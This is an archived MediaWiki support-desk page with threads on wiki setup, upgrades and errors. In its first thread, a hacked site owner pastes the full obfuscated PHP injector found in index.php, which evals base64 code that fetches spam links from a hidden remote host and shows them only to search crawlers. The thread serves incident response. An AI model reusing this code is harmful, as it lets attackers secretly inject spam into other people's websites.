:::MediaWiki 1.19.1
:::PHP 5.3.29 (cgi-fcgi)
:::MySQL 5.5.36-cll
::I do not allow auto creation of users. But there is a possibility that one of the admin's password has been compromised. So I am pretty sure that this code was created within the folder "z" where the wiki is located.
::I have joomla but that was disabled before the hacking started.
::Prior to November of 2014 I have had no problems at all.
::If I can only find where those text links are located.
::I found the subfolder that the hacker created and that was deleted. I thought that took care of the problem but obviously it still persists. Whenever, a new page is created the "cloaked" or "invisible" text links are immediately embedded into the wiki page. Can't see it in the source of the wiki page. Only when you test that page with the http://isithacked.com/ toll can you see it. [[User:Kuhitkuhit|Kuhitkuhit]] ([[User talk:Kuhitkuhit|talk]]) 21:54, 2 January 2015 (UTC)
:::Look at your index.php for mediawiki. There is probably some code right at the top of that file that is putting out the garbage for GoogleBot.
:::Using the following command, I was able to simulate googlebot at get the messed up code from your site:
:::<code> curl -A 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' 'http://www.zamboanga.com/z/index.php?title=Hacked'</code>
:::I was able to see a list of urls that the malicious code put right above MediaWiki's output. The last bit that was printed was:
:::<code> </code>
:::Using Google to search for this bit, I came across [http://www.unphp.net/decode/f15071244527cd24a8bdfaf44721e0f5/ this encoded PHP string], so you might be looking for something like that at the beginning of your index.php. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 22:09, 2 January 2015 (UTC)
::::Note that trying the GoogleBot user agent with api.php or thumb.php didn't produce the strange HTML, so I think you are definitely looking in index.php ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 22:10, 2 January 2015 (UTC)
:::::I found this at the top of my index.php
:::::----
:::::{|
:::::|-
:::::| width="650" |
:::::<?php
:::::$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x10b4;eval($OOO0000O0('aWYgKHByZWdfbWF0Y2goJy9nb29nbGV8eWFob298bXNufHJvYm90fGJpbmd8YW9sfHNwaWRlci9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7JHJvb3QgPSAiaHR0cDovLyIuaGV4ZGVjKCIyNSIpLmNocigiNDYiKS5iaW5kZWMoaGV4ZGVjKCIxIikpLmNocigiNDYiKS5vY3RkZWMoaGV4ZGVjKCIxMzkiKSkuY2hyKCI0NiIpLmJpbmRlYyhoZXhkZWMoImE5NjM1MiIpKTskcHJvamVjdCA9ICI8IS0tIEhUTUwgMy41MS4yMzQgLS0+IjtpZiAoQGV4dGVuc2lvbl9sb2FkZWQoJ2N1cmwnKSl7JG1ldGhvZCA9ICJjdXJsIjt9ZWxzZXskbWV0aG9kID0gImZnYyI7fSRzZXJ2ZXJfaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107JHVybCA9ICRyb290LiIvX2Rvb3J3YXlzL21hcC8kc2VydmVyX2hvc3QuaHRtbCI7JHVybDIgPSAkcm9vdC4iL19kb29yd2F5cy9tYXAvbWFwLmh0bWwiOyRtYXAgPSBnZXRVcmwoJHVybCwgJG1ldGhvZCk7aWYgKHByZWdfbWF0Y2goJy9ocmVmL2knLCAkbWFwKSl7ZWNobyAkbWFwLiRwcm9qZWN0O31lbHNleyRtYXAgPSBnZXRVcmwoJHVybDIsICRtZXRob2QpO2VjaG8gJG1hcC4kcHJvamVjdDt9fWZ1bmN0aW9uIGdldFVybCgkdXJsLCAkbWV0aG9kKXtpZiAoJG1ldGhvZD09J2N1cmwnKXskY3VybD1AY3VybF9pbml0KCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDE1KTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9WRVJCT1NFLDApO0BjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0hFQURFUiwwKTtAY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9OT0JPRFksMCk7QGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7JGh0bWw9QGN1cmxfZXhlYygkY3VybCk7QGN1cmxfY2xvc2UoJGN1cmwpO3JldHVybiAkaHRtbDt9ZWxzZXskaHRtbD1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7cmV0dXJuICRodG1sO319'));
:::::?><?php
:::::|}
:::::Do I delete those codes? [[User:Kuhitkuhit|Kuhitkuhit]] ([[User talk:Kuhitkuhit|talk]]) 22:39, 2 January 2015 (UTC)
:::::I just saw a clean index.php from another site that I have access to and those code are not there. I just want to make sure if it safe to delete them. [[User:Kuhitkuhit|Kuhitkuhit]] ([[User talk:Kuhitkuhit|talk]]) 22:49, 2 January 2015 (UTC)
::::::Thank you so much [[User:MarkAHershberger]].
::::::I deleted those codes. And now the wiki is clean. Thank you. [[User:Kuhitkuhit|Kuhitkuhit]] ([[User talk:Kuhitkuhit|talk]]) 23:00, 2 January 2015 (UTC)
:::::::Please note that this only is part of the solution: Even if a wiki administrator account would have been compromised, this would usually not give people file system access. Meaning: A compromised admin account usually does not lead to manipulated files. As long as you do not know how you got compromised and that hole is not closed, this or a similar attack can happen again at any time. [[Special:Contributions/88.130.103.226|88.130.103.226]] 23:28, 2 January 2015 (UTC)

== Adding New Users to the wiki ==

At our office we use this wiki to log troubleshooting methods and known fixes for all to access in the IT Dept. However our former manager who setup the wiki has left and we do not know how to add new users or grant new hires access to this page. We only have the logons that we have had all along. Is there an easy way to add users to our wiki, or any way at all?

thanks! [[Special:Contributions/67.208.166.234|67.208.166.234]] ([[User talk:67.208.166.234|talk]]) 20:22, 2 January 2015 (UTC)
:What happens if you access Special:CreateAccount ??
:But if you use the wiki in your IT depart. it maybe uses some other auth method instead of MediaWiki's own user management. Maybe you should try to contact your former administrator or try to find some documentation to find it out :) [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 20:44, 2 January 2015 (UTC)
:Who manages the system that your wiki is installed on? If you have command line access you can promote the users that need it to be administrators. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 21:50, 2 January 2015 (UTC)

== Locks failing to release ==

Releaes prcess locks -have 6 locks- when attemnptiung to use this it fails and processes are not released.

Have been able to release in past and permissions have not changed,

SELECT L.LOCKID, ProcessType=C.NAME, ProcessName=A.NAME, L.LOCKEDBY, L.LOCKACQUIRED, L.RUNNING
FROM CADIS_SYS.CO_PROCESSLOCK L
JOIN CADIS_SYS.VW_ALL_PROCESSES A ON A.COMPONENTID=L.COMPONENTID AND A.GUID=L.GUID AND A.OBSOLETE = 0
JOIN CADIS_SYS.CO_COMPONENT C ON C.ID=L.COMPONENTID

Returns...

LOCKID COMPONENTID GUID LOCKEDBY LOCKACQUIRED RUNNING
1975738 8 df49aec602f34a7983b459bea029fc70 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:27.020 1
1975740 8 66a3ed9ef403440480df05a4c27dc086 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:28.037 1
1975746 5 b95ac76360094b5fb8e13a588963fe45 EUROPE1\ETLServicePRD_svc 2015-01-03 05:02:31.580 1
1975766 0 547eb395fcf04b359821308f78525564 EUROPE1\ETLServicePRD_svc 2015-01-03 05:04:45.333 1
1975769 8 3b2ebd1e9b4943f097e173c630fcb3d6 EUROPE1\ETLServicePRD_svc 2015-01-03 05:05:39.340 1
1975770 0 9e8a4741cff7411990d0a299b1e40b34 EUROPE1\ETLServicePRD_svc 2015-01-03 05:05:41.933 1

Is unloackign just removing from this table. Nothing is currently running that woull account for these entries

Thanks

Stephen [[Special:Contributions/193.109.254.21|193.109.254.21]] ([[User talk:193.109.254.21|talk]]) 09:34, 3 January 2015 (UTC)
:This doesn't sound like a MediaWiki problem. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 19:07, 3 January 2015 (UTC)

== [RESOLVED] - Problem with Javascript ==

I had a perfectly working wiki until four days ago, when I started to get the following mime type problems:

Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=ext.slideshow.…face%7Cmediawiki.ui.button%7Cskins.vector.styles&only=styles&skin=vector&*".

Main_Page:17
Resource interpreted as Stylesheet but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=site&only=styles&skin=vector&*".

Main_Page:20
Resource interpreted as Script but transferred with MIME type text/html: "http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=vector&*".

Main_Page:1
Refused to execute script from 'http://drebbel.net/wiki/load.php?debug=false&lang=en&modules=startup&only=scripts&skin=vector&*' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.

My site is [http://drebbel.net/wiki drebbel.net/wiki]

{| class="wikitable"
|-
! Product
! Version
|-
| MediaWiki
| 1.24.1
|-
| PHP
| 5.3.28 (apache2handler)
|-
| MySQL
| 5.0.95

|}

I tried including

* AddType text/css css
* AddType application/x-javascript js
* AddType application/json json

into .htaccess to no avail.

I'm using a paid hostserver. [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 11:24, 3 January 2015 (UTC)
:Look in your LocalSettings.php before the starting <code><?php</code> and remove the point "." there (before the <?php should be nothing). [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 15:21, 3 January 2015 (UTC)
::Wow. Thank you Florian. You made the right point.
::I think this should be made more well-known, because there are some text editors which tend to add such a point before <?php [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 15:44, 3 January 2015 (UTC)
:::*hust*: [[Manual:LocalSettings.php]] a big red Box with a big red WARNING (about a similar problem with the same reason) :P [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 20:25, 3 January 2015 (UTC)

== Can't delete "my shares" ==

I have items that ended up in my library that I can't seem to delete. When I try it tells me "to remove the download remove the associated share: go to Tools - > My Shares. I go there and see a list of stuff (I'm not sure how it got there), but when I try to remove them, it does nothing. I've tried removing the original files on my hard disk, that doesn't work either.

How do I get these out of my library? [[Special:Contributions/24.24.187.248|24.24.187.248]] ([[User talk:24.24.187.248|talk]]) 15:50, 3 January 2015 (UTC)
:I am not sure what software product you are talking about, but looking up that sentence on Google makes me think it's not MediaWiki... [[Special:Contributions/88.130.103.226|88.130.103.226]] 16:46, 3 January 2015 (UTC)

== How to add custom buttons to WikiEditor? ==

[[Manual:Custom edit buttons]] only works with upload.wikimedia.org URLs?! As soon as I use my own URL I get

Uncaught TypeError: undefined is not a functionload.php?debug=false&lang=en&modules=site&only=scripts&skin=vector&*:1 (anonymous function)load.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:44 jQuery.Callbacks.fireload.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:45 jQuery.Callbacks.self.addload.php?debug=false&lang=en&modules=jquery%2Cmediawiki&only=scripts&skin=vector&version=20150103T1…:48 jQuery.fn.readyload.php?debug=false&lang=en&modules=site&only=scripts&skin=vector&*:1 (anonymous function) [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 17:14, 3 January 2015 (UTC)
:Could you share the code you're trying to use? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 18:56, 3 January 2015 (UTC)

== $wgLocalisationCacheConf performance: file or db storage? ==

The usage of [[Manual:$wgLocalisationCacheConf|$wgLocalisationCacheConf]] is not clear to me.
I have <code>[[Manual:$wgUseLocalMessageCache|$wgUseLocalMessageCache]] = true;</code> and <pre>$wgMainCacheType = CACHE_MEMCACHED;
$wgParserCacheType = CACHE_MEMCACHED; # optional
$wgMessageCacheType = CACHE_MEMCACHED; # optional
</pre>

Is it better to store the messages as db file or in the database?

An enabled memcached doesn't help much I guess?

I use <code>'store' => 'files'</code> because guess 'detect' takes a little bit longer? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 00:29, 4 January 2015 (UTC)
:This is a good question for someone on the i18n team. Perhaps [[User:Amire80|Amir]] or [[User:Siebrand|Siebrand]] can help? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 21:03, 4 January 2015 (UTC)
::Hmh, I use my wiki only in en. Does that matter? I guess so. Atm a file "l10n_cache-en.cdb" (555 KB) is written. [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 23:28, 4 January 2015 (UTC)
:Using cdb files will be significantly faster than the database. [[User:Legoktm|Legoktm]] ([[User talk:Legoktm|talk]]) 20:19, 6 January 2015 (UTC)
::Thanks! [[Special:Contributions/217.247.174.213|217.247.174.213]] 15:54, 10 January 2015 (UTC)

== [RESOLVED] Widget:Google Spreadsheet fails ==

'''Note''' In order to keep my wiki up to date, I now embedded the most important sheets with the Iframe widget. Still convinced that Widget:Google Spreadsheet isn't working properly.

All the sudden my Widget:Google Spreadsheet (such as http://drebbel.net/wiki/Test:Nowadays) started to fail with a '''''Refused to display 'https://spreadsheets.google.com/...' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN''''''. message.
[https://docs.google.com/spreadsheets/d/1HHw4Hzr3-MDXv7hp_67X-hEdrz14mNxM7nQU56FDbCc/pubhtml This] is the sheet. (published and shared anyone with the link)
Widget:Google Document however works fine ...
Published everything the same way.

* Manual:$wgBreakFrames
* Manual:$wgApiFrameOptions and similar
don't change anything.

My site is [http://drebbel.net/wiki drebbel.net/wiki]

{| class="wikitable"
|-
! Product
! Version
|-
| MediaWiki
| 1.24.1
|-
| PHP
| 5.3.28 (apache2handler)
|-
| MySQL
| 5.0.95

|}

Any idea?

Thanks in advance. [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 09:27, 4 January 2015 (UTC)
:I don't know if changed anything, but I see that the chart displays correctly on the page, without error now. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 20:45, 6 January 2015 (UTC)
::Dear Ciencia, in order to keep my wiki upto date I altered the most important sheet using the Iframe Widget.
::Please look at http://drebbel.net/wiki/Test:Nowadays to see a failing sheet. [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 08:37, 7 January 2015 (UTC)
:::The problem isn't your MediaWiki installation.
:::[[Manual:$wgBreakFrames]] and [[Manual:$wgApiFrameOptions]] etc won't help you, since that controls whether to allow your wiki to be inserted inside another page in a frame. But this is different. That's about inserting google spreadsheets inside your MediaWiki.
:::If you take a closer look, you'll see that your iframe widget is using one URL for the spreadsheet, while the google spreadsheet widget is using a different one. Editing how it constructs the URL in [http://drebbel.net/wiki/Widget:Google_Spreadsheet] so it's the same as the iframe that works would solve the issue. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:44, 7 January 2015 (UTC)
::::Thank you for this hint Ciencia. I'll try to modify the URL.
::::However I don't understand why the widget has been working properly for several weeks and then all the sudden stopped. [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 12:16, 7 January 2015 (UTC)
:::::Thank you Ciencia. Your hint made the widget work. Could you ask the responsibles to change the code?
:::::<hr>
:::::For all those who might encounter the same problem:
:::::1) Download the latest version of the Widget at http://wiki.glitchdata.com/index.php?title=Widget:Google_Spreadsheet&action=edit
::::: 
:::::2) Replace <iframe> .... </iframe> by <nowiki><iframe src="" frameborder="" width="" height=""></iframe></nowiki>
::::: 
:::::3) include the widget with
::::: 
:::::{{#widget:Google Spreadsheet |
::::: 
:::::url=https://docs.google.com/spreadsheets/d/ Google Sheet code/pubhtml |
::::: 
:::::width=200 |
::::: 
:::::height=350 }}
::::: 
:::::Don't forget to remove the compiled widget code! [[User:EFFemeer|EFFemeer]] ([[User talk:EFFemeer|talk]]) 12:40, 7 January 2015 (UTC)
::::::Note that the repository of widgets seems to be [http://www.mediawikiwidgets.org/Widget:Google_Spreadsheet], which has a different syntax. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:35, 9 January 2015 (UTC)
:::::::Which adds to the confusion, as that page says:
:::::::<nowiki>* Since Google Docs migrated to Google Drive, the reference for the template code has change. The latest is available [http://wiki.glitchdata.com/index.php?title=Widget:Google_Spreadsheet here].</nowiki> [[Special:Contributions/217.123.55.84|217.123.55.84]] 10:59, 10 January 2015 (UTC)

== Installing an older version of Mediawiki ==

Hey guys. Because my hosting company won't update PCRE from version 6.6 I am kinda stuck with a problem - I really want to add a wiki to my site in order to create a user guide for my game system, but I can't use the current release until I ditch my hosting company in October (when the package runs out). Can anyone recommend a version of the wiki I can install and then upgrade latter? I realise that many of you won't like this idea but as long as it is stable it shouldn't matter.

If possible, can someone also talk me through adding a licence that lets me copyright the content I produce? My system is free to play, but I still want to keep control of my work in case I want to publish it in some way later. (My idea is basically to use the wiki software as a web template rather than an open system.) Thanks in advance! [[User:Tiggywolf|Tiggywolf]] ([[User talk:Tiggywolf|talk]]) 15:23, 4 January 2015 (UTC)
:You can install [[MediaWiki 1.19]] which will be supported for a few more months. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 20:53, 4 January 2015 (UTC)
::Cool! Thanks a lot! Have you any advice on the licencing thing as well? [[Special:Contributions/80.229.57.219|80.229.57.219]] 19:00, 6 January 2015 (UTC)
:::By the way, could you tell me if this style would work for 1.19?
:::https://www.mediawiki.org/wiki/Skin:DeskMessMirrored [[Special:Contributions/80.229.57.219|80.229.57.219]] 23:46, 6 January 2015 (UTC)
::::It seems the extension won't be compatible with 1.19, looking at the skin page [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:50, 7 January 2015 (UTC)
:::See [[Manual:$wgRightsText]]. Basically, MediaWiki has some predefined licensing options, but you can change it with that variable and the other related ones to anything you want, even an "All rights reserved" one. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:51, 7 January 2015 (UTC)

== Disable Media viewer globallly ==

How can I disable the "Media viewer" globally, i.e., on all MediaWiki projects, once and forever? The "opt-out" feature does not work for me when I'm trying to check media found on other projects (not the wikis where I have set local preferences to "op-in".) BTW, this is at best spam. –<kbd>[[User:Be..anyone|Be..anyone]] [[User_talk:Be..anyone|💩]]</kbd> 17:30, 4 January 2015 (UTC)
:See [[Extension_talk:Media_Viewer/About#How_can_i_deelete_this_enervous_function.3F|here]]. If you would rather a universal preference, then you should probably post on that page or create a task in phabricator. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 20:50, 4 January 2015 (UTC)

== API: Disable dangerous "createaccount" action? ==

I have disabled editing for anons and use various anti-spam protections.

And I use $wgEnableWriteAPI = true because ajax watching is nice.

I find it somehow dangerous to have API actions like createaccount. I disabled it manually now in the core, but a proper way might be better?

Also, how does that work together with [[Extension:ConfirmEdit]]? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 23:20, 4 January 2015 (UTC)
:The recommended way to disable API account creation (or any API action module) is to use <code>$wgAPIModules['createaccount'] = 'ApiDisabled';</code> in LocalSettings.php. See [[API:Restricting API usage]].
:API account creations still have to solve the captcha. I don't know how it works with ReCaptcha, but with FancyCaptcha the API gives the client a URL to the captcha image, and the client has to respond with the captcha solution in a subsequent API request. [[User:This, that and the other|This, that and the other]] ([[User talk:This, that and the other|talk]]) 05:38, 5 January 2015 (UTC)
::For reCaptcha (or in general any other CAPTCHA module) you should get all required data to rebuild the CAPTCHA form yourself to solve it (in reCaptcha e.g. the public key). You can send the response (of the user) to the api and it should work. But i never tested it, nor i used it :/ [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 01:41, 10 January 2015 (UTC)

== Special:RecentChanges not updating since move to new server and latest version ==

Mediawiki - 1.24.1 
php - 5.5.12-2ubuntu4.1 (apache2handler) 
MySQL - 5.5.40-0ubuntu1 

Hi all,

I have recently moved my wiki to a new server box. I installed v1.24 as a new install and subsequently imported the old wiki via a mysql dump, the wiki runs fine except that the special:recentchanges is not updating and as sucj my news extension isn't updating either.
Additionally, the recent changes that are there show the wrong year, everything shows 2015 for updates that occurred in 2014.

Any ideas please? I'm afraid I cannot link to my wiki as it is hosted on an internal clean network.

Colin [[Special:Contributions/212.159.104.33|212.159.104.33]] ([[User talk:212.159.104.33|talk]]) 09:49, 5 January 2015 (UTC)
:Hi Colin,
:you can run the maintenance script [[Manual:Rebuildall.php|rebuildall.php]] from the shell in order to rebuild several database tables among them the recent changes.
:MediaWiki is for each entry saving the date in its own format somewhere inside the database. I think there is an option to adjust the timezone, which MediaWiki should use internally, but I do not know of a setting, which would change dates for days or weeks. Either the new server or the old server or both must have a different or an incorrect configuration concerning the server time and date. [[Special:Contributions/88.130.65.181|88.130.65.181]] 12:16, 5 January 2015 (UTC)
::Thanks for the reply. I have run rebuildall.php and rebuildrecentchanges.php with no effect!!
::Also timezone is all good. [[Special:Contributions/212.159.104.33|212.159.104.33]] 12:51, 5 January 2015 (UTC)
:::What happens when you do an edit just right now. Check the page history of the according page: Does it show the correct date and time? Or is the date/time displayed there wrong as well? What about old entries e.g. from before the server move? [[Special:Contributions/88.130.65.181|88.130.65.181]] 14:03, 5 January 2015 (UTC)
::::When I edit a page at present, the page history tab updates correctly and logs the new edits. The time date is exactly right, including the year.
::::So it is logging in page history perfectly but this is not appearing in Special:Recentchanges..???? [[User:Colin2030|Colin2030]] ([[User talk:Colin2030|talk]]) 08:01, 6 January 2015 (UTC)
:::::And what about old entries e.g. from before the server move? Is their date/time displayed correctly or is it wrong? [[Special:Contributions/88.130.107.37|88.130.107.37]] 14:38, 6 January 2015 (UTC)
:Some further developments... 
: 
:Using phpmyadmin I went to the recentchanges table and cleared the data through the TRUNCATE action. This firstly appeared to solve the issue. Subsequent updates were appearing in Recentchanges as normal. 
:HOWEVER! When I ran rebuildall.php and update.php the recentchanges table seemed to 'roll back' to when I was having problems. i.e. the table re-populated with old data and refused to update further.
:Any more thoughts? [[User:Colin2030|Colin2030]] ([[User talk:Colin2030|talk]]) 13:55, 6 January 2015 (UTC)

== Cannot login to the wiki and cannot login on my iphone ==

Whenever I try to login on the wiki or via my iphone it says Login error
There is no user by the name "zenopolos". Check your spelling.
But I am able to login to the game via any computer.
Please help.
gzenon@yahoo.com [[Special:Contributions/108.30.208.40|108.30.208.40]] ([[User talk:108.30.208.40|talk]]) 21:25, 5 January 2015 (UTC)
:Hi!
:I am pretty sure you are wrong here: Since you are speaking about "the game", I guess you mean one special wiki (which is ''not'' Wikipedia). That means you should ask one of the administrators of ''that'' wiki for help.
:Please note that usernames in MediaWiki by default have to start with an uppercase letter. Generally this error message means that ... this username does not exist. The admin of the according wiki should be able to tell you more about the why... [[Special:Contributions/88.130.65.181|88.130.65.181]] 22:16, 5 January 2015 (UTC)

== Not able to create a new account ==

Hi,

I have been recently deployed in a project that uses media wiki.

When i try to create a new user account, i am getting this error.
'''''The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again'''''

For some reasons I cant share the url.

I am using Mediawiki 1.20.5.

PHP 5.3.5

MYSQL 5.5.8.

Please help me as soon as possible. [[Special:Contributions/125.18.106.145|125.18.106.145]] ([[User talk:125.18.106.145|talk]]) 06:55, 6 January 2015 (UTC)
:The message that you posted says "Ensure you have cookies enabled" but you did not tell us yet if you ensured that you have cookies enabled. [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 10:06, 6 January 2015 (UTC)

== Rendering failed ==
{{Flow summary|{{tracked|T76153}}}}

When I try to download my book as pdf, I encountered this problem many times.

"'''Generation of the document file has failed.'''

'''Status: Rendering process died with non zero code: 1'''''"''

The link to the book: https://tr.wikipedia.org/wiki/Kullan%C4%B1c%C4%B1:Skovorodnikof/Kitaplar/Vikipedi_Makaleleri3 [[User:Skovorodnikof|Skovorodnikof]] ([[User talk:Skovorodnikof|talk]]) 00:56, 7 January 2015 (UTC)
:I've added a comment to the [[phab:T76153|corresponding bug report]]. [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 11:42, 7 January 2015 (UTC)

== How to integrate wikimedia commons's upload form in my wiki? ==

I am not talking about Common's Upload Wizard extension.

Wikimedia commons use a special upload form that is not commonly used in any other wikis. It has more fields for entering metadata like Author(s), Original source etc.After doing some research I came to know it is using UploadForm.js. I read the documentation but I couldn't find a way to add it to my wiki so that I would be able to add more metadata fields in my wiki's upload form. Could somebody please help? [[Special:Contributions/208.116.10.45|208.116.10.45]] ([[User talk:208.116.10.45|talk]]) 04:46, 7 January 2015 (UTC)

== [RESOLVED] Login page doesn't load MediaWiki:Monobook.css ==

Hi all,

I updated my wiki directly from the git repository (git checkout '1.24.1').

Everything looks fine except the login page (<MYURL>/w/index.php?title=Special:UserLogin).

This page doesn't load my CSS modifications in MediaWiki:Monobook.css. Is this a problem in the skin or in the MediaWiki version?

MediaWiki: 1.24.1 (4cec600)
PHP: 5.4.35 (cgi-fcgi)
MySQL: 5.5.37-log

Thanks,
Ray [[Special:Contributions/193.5.187.42|193.5.187.42]] ([[User talk:193.5.187.42|talk]]) 08:26, 7 January 2015 (UTC)
:It's a recent change. You'll need to turn [[Manual:$wgAllowSiteCSSOnRestrictedPages]] on. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:56, 7 January 2015 (UTC)
::That solved my problem.
::Thank you for the hint. [[Special:Contributions/217.162.209.6|217.162.209.6]] 19:03, 7 January 2015 (UTC)

== [RESOLVED] After upgrading namespace prefix file: no longer works, but legacy image: does. ==

I updated a Mediawiki 1.18.1 to 1.23.8 as described according to the Manual:Upgrading page.

Everything looked good.
The '''php maintenance/upgrade.php''' showed no errors.

But all images are no longer displayed. The namespace prefix file: like so <pre>[[file:name.png]]</pre> no longer works.
I found out that images are displayed if i use the prefix '''image:''' or image in german '''bild:''' or file in german '''datei:'''.

I tried an upgrade to 1.19.23 and there the prefix '''file:''' still works but not on 1.21.11

I use the German Language code: $wgLanguageCode = "de-ch" and use PHP 5.4.34 and MySQL 5.6.13. [[User:Ardvan|Ardvan]] ([[User talk:Ardvan|talk]]) 15:12, 7 January 2015 (UTC)
:Be sure you don't have <code>file:</code> in [[Manual:$wgUrlProtocols|$wgUrlProtocols]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 11:01, 8 January 2015 (UTC)
::Yes, it was defined in $wgUrlProtocols without the trailing slashes.
::Found the warning about this here [[Manual:$wgUrlProtocols#Details]]
::Thanks for the help. I think this was the problem. [[User:Ardvan|Ardvan]] ([[User talk:Ardvan|talk]]) 16:42, 11 January 2015 (UTC)

== [RESOLVED] Parser fuction #if no working in 1.24¿? ==

MW 1.24.1
PHP Version 5.3.27
Mysql 5.5.40

I tried that fuction without result

'''In a template'''
<pre>{{#if: | yes | no}}
{{#if: string | yes | no}}
{{{1|}}}
{{#if: {{{1|}}} | Parameter 1 is defined and non-null/non-empty. | Parameter 1 is not defined, or is defined but null. It contains only empty string(s) or breaking space(s) etc.}}
Valida {{{textvalida}}} Valida2 {{{testvalida2}}}.
</pre>
'''In page:'''
<pre>{{Ejemplo de plantilla
|1=10
|testvalida = oK
|testvalida2 = Ok OK
}}
</pre>

'''Result:'''
<pre>{{#if: | yes | no}} {{#if: string | yes | no}} 10 {{#if: 10 | Parameter 1 is defined and non-null/non-empty. | Parameter 1 is not defined, or is defined but null. It contains only empty string(s) or breaking space(s) etc.}} Valida oK Valida2 Ok OK.
</pre>

But here is working properly, may i install some extension more [[Special:Contributions/89.129.235.83|89.129.235.83]] ([[User talk:89.129.235.83|talk]]) 17:36, 7 January 2015 (UTC)
:If the <nowiki>{{#if: }}</nowiki> syntax is leaked on the page, that means you haven't enabled [[Extension:ParserFunctions]]. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 11:04, 8 January 2015 (UTC)
::Right, problem solved, I donwload the extenson to the directory and updated the localsettings.php
::Thanks [[Special:Contributions/89.129.235.83|89.129.235.83]] 22:22, 8 January 2015 (UTC)

== email confirmation for mediawiki ==

Hi All,
I have a problem with email confirmation in Mediawiki which took me around one months and still no success, so any help would be highly appreciated.
